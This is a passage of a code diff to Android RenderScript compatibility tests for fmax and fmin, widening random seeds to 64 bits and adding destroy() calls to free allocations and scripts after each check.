     private void verifyResultsFmaxFloat3Float3Float3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkFmaxFloat4Float4Float4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd814a40al, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd814a40bl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x526866add814a40al, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x526866add814a40bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxFloat4Float4Float4(inA, out);
             verifyResultsFmaxFloat4Float4Float4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxFloat4Float4Float4(inA, out);
             verifyResultsFmaxFloat4Float4Float4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat4Float4Float4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxFloat4Float4Float4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkFmaxHalfHalfHalf() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x6dad4699l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x6dad469al, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x788f378e6dad4699l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x788f378e6dad469al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxHalfHalfHalf(inA, out);
             verifyResultsFmaxHalfHalfHalf(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxHalfHalfHalf(inA, out);
             verifyResultsFmaxHalfHalfHalf(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalfHalfHalf: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxHalfHalfHalf(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkFmaxHalf2Half2Half2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa556216fl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa5562170l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb65cb7c1a556216fl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb65cb7c1a5562170l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxHalf2Half2Half2(inA, out);
             verifyResultsFmaxHalf2Half2Half2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxHalf2Half2Half2(inA, out);
             verifyResultsFmaxHalf2Half2Half2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf2Half2Half2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxHalf2Half2Half2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkFmaxHalf3Half3Half3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3f5323el, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3f5323fl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xdc1137ab03f5323el, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xdc1137ab03f5323fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxHalf3Half3Half3(inA, out);
             verifyResultsFmaxHalf3Half3Half3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxHalf3Half3Half3(inA, out);
             verifyResultsFmaxHalf3Half3Half3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf3Half3Half3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxHalf3Half3Half3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkFmaxHalf4Half4Half4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6294430dl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6294430el, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1c5b7946294430dl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1c5b7946294430el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxHalf4Half4Half4(inA, out);
             verifyResultsFmaxHalf4Half4Half4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxHalf4Half4Half4(inA, out);
             verifyResultsFmaxHalf4Half4Half4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf4Half4Half4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxHalf4Half4Half4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -704,13 +743,14 @@
     }
 
     private void checkFmaxFloat2FloatFloat2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdc631102l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdc631103l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xce5ddc06dc631102l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xce5ddc06dc631103l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxFloat2FloatFloat2(inA, out);
             verifyResultsFmaxFloat2FloatFloat2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat2FloatFloat2: " + e.toString());
         }
@@ -719,9 +759,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxFloat2FloatFloat2(inA, out);
             verifyResultsFmaxFloat2FloatFloat2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat2FloatFloat2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxFloat2FloatFloat2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -783,13 +826,14 @@
     }
 
     private void checkFmaxFloat3FloatFloat3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xcace055el, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xcace055fl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x23ad8f1ecace055el, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x23ad8f1ecace055fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxFloat3FloatFloat3(inA, out);
             verifyResultsFmaxFloat3FloatFloat3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat3FloatFloat3: " + e.toString());
         }
@@ -798,9 +842,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxFloat3FloatFloat3(inA, out);
             verifyResultsFmaxFloat3FloatFloat3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat3FloatFloat3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxFloat3FloatFloat3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -862,13 +909,14 @@
     }
 
     private void checkFmaxFloat4FloatFloat4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb938f9bal, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb938f9bbl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x78fd4236b938f9bal, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x78fd4236b938f9bbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxFloat4FloatFloat4(inA, out);
             verifyResultsFmaxFloat4FloatFloat4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat4FloatFloat4: " + e.toString());
         }
@@ -877,9 +925,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxFloat4FloatFloat4(inA, out);
             verifyResultsFmaxFloat4FloatFloat4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat4FloatFloat4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxFloat4FloatFloat4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -941,13 +992,14 @@
     }
 
     private void checkFmaxHalf2HalfHalf2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3546cdbdl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3546cdbel, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xd49cf7ff3546cdbdl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd49cf7ff3546cdbel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxHalf2HalfHalf2(inA, out);
             verifyResultsFmaxHalf2HalfHalf2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf2HalfHalf2: " + e.toString());
         }
@@ -956,9 +1008,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxHalf2HalfHalf2(inA, out);
             verifyResultsFmaxHalf2HalfHalf2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf2HalfHalf2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxHalf2HalfHalf2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1025,13 +1080,14 @@
     }
 
     private void checkFmaxHalf3HalfHalf3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe7e05f61l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe7e05f62l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xff2a187de7e05f61l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xff2a187de7e05f62l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxHalf3HalfHalf3(inA, out);
             verifyResultsFmaxHalf3HalfHalf3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf3HalfHalf3: " + e.toString());
         }
@@ -1040,9 +1096,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxHalf3HalfHalf3(inA, out);
             verifyResultsFmaxHalf3HalfHalf3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf3HalfHalf3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxHalf3HalfHalf3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1109,13 +1168,14 @@
     }
 
     private void checkFmaxHalf4HalfHalf4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x9a79f105l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9a79f106l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x29b738fc9a79f105l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x29b738fc9a79f106l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxHalf4HalfHalf4(inA, out);
             verifyResultsFmaxHalf4HalfHalf4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf4HalfHalf4: " + e.toString());
         }
@@ -1124,9 +1184,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxHalf4HalfHalf4(inA, out);
             verifyResultsFmaxHalf4HalfHalf4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxHalf4HalfHalf4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxHalf4HalfHalf4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmin.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmin.java
index 8b81c47..3fc4b4f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmin.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmin.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestFminRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inA;
         public float inB;
@@ -44,13 +51,14 @@
     }
 
     private void checkFminFloatFloatFloat() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x1d7b1058l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x1d7b1059l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7b46a8451d7b1058l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7b46a8451d7b1059l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminFloatFloatFloat(inA, out);
             verifyResultsFminFloatFloatFloat(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminFloatFloatFloat(inA, out);
             verifyResultsFminFloatFloatFloat(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloatFloatFloat: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminFloatFloatFloat(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkFminFloat2Float2Float2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe75faa42l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe75faa43l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x12b850a9e75faa42l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x12b850a9e75faa43l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminFloat2Float2Float2(inA, out);
             verifyResultsFminFloat2Float2Float2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminFloat2Float2Float2(inA, out);
             verifyResultsFminFloat2Float2Float2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat2Float2Float2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminFloat2Float2Float2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkFminFloat3Float3Float3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe93dabe3l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe93dabe4l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x671d2ec9e93dabe3l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x671d2ec9e93dabe4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminFloat3Float3Float3(inA, out);
             verifyResultsFminFloat3Float3Float3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminFloat3Float3Float3(inA, out);
             verifyResultsFminFloat3Float3Float3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat3Float3Float3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminFloat3Float3Float3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkFminFloat4Float4Float4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xeb1bad84l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xeb1bad85l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xbb820ce9eb1bad84l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xbb820ce9eb1bad85l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminFloat4Float4Float4(inA, out);
             verifyResultsFminFloat4Float4Float4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminFloat4Float4Float4(inA, out);
             verifyResultsFminFloat4Float4Float4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat4Float4Float4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminFloat4Float4Float4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkFminHalfHalfHalf() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc5ee8503l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc5ee8504l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x91d4a423c5ee8503l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x91d4a423c5ee8504l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminHalfHalfHalf(inA, out);
             verifyResultsFminHalfHalfHalf(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminHalfHalfHalf(inA, out);
             verifyResultsFminHalfHalfHalf(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalfHalfHalf: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminHalfHalfHalf(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkFminHalf2Half2Half2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5461544dl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5461544el, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4ab6ea625461544dl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4ab6ea625461544el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminHalf2Half2Half2(inA, out);
             verifyResultsFminHalf2Half2Half2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminHalf2Half2Half2(inA, out);
             verifyResultsFminHalf2Half2Half2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf2Half2Half2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminHalf2Half2Half2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkFminHalf3Half3Half3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb300651cl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb300651dl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x706b6a4bb300651cl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x706b6a4bb300651dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminHalf3Half3Half3(inA, out);
             verifyResultsFminHalf3Half3Half3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminHalf3Half3Half3(inA, out);
             verifyResultsFminHalf3Half3Half3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf3Half3Half3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminHalf3Half3Half3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkFminHalf4Half4Half4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x119f75ebl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x119f75ecl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x961fea35119f75ebl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x961fea35119f75ecl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminHalf4Half4Half4(inA, out);
             verifyResultsFminHalf4Half4Half4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminHalf4Half4Half4(inA, out);
             verifyResultsFminHalf4Half4Half4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminHalf4Half4Half4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFminHalf4Half4Half4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -704,13 +743,14 @@
     }
 
     private void checkFminFloat2FloatFloat2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x24457670l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x24457671l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4dd5869724457670l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4dd5869724457671l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFminFloat2FloatFloat2(inA, out);
             verifyResultsFminFloat2FloatFloat2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFminFloat2FloatFloat2: " + e.toString());
         }
@@ -719,9 +759,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFminFloat2FloatFloat2(inA, out);
             verifyResultsFminFloat2FloatFloat2(inA, inB, out, true);
+            out.destroy();
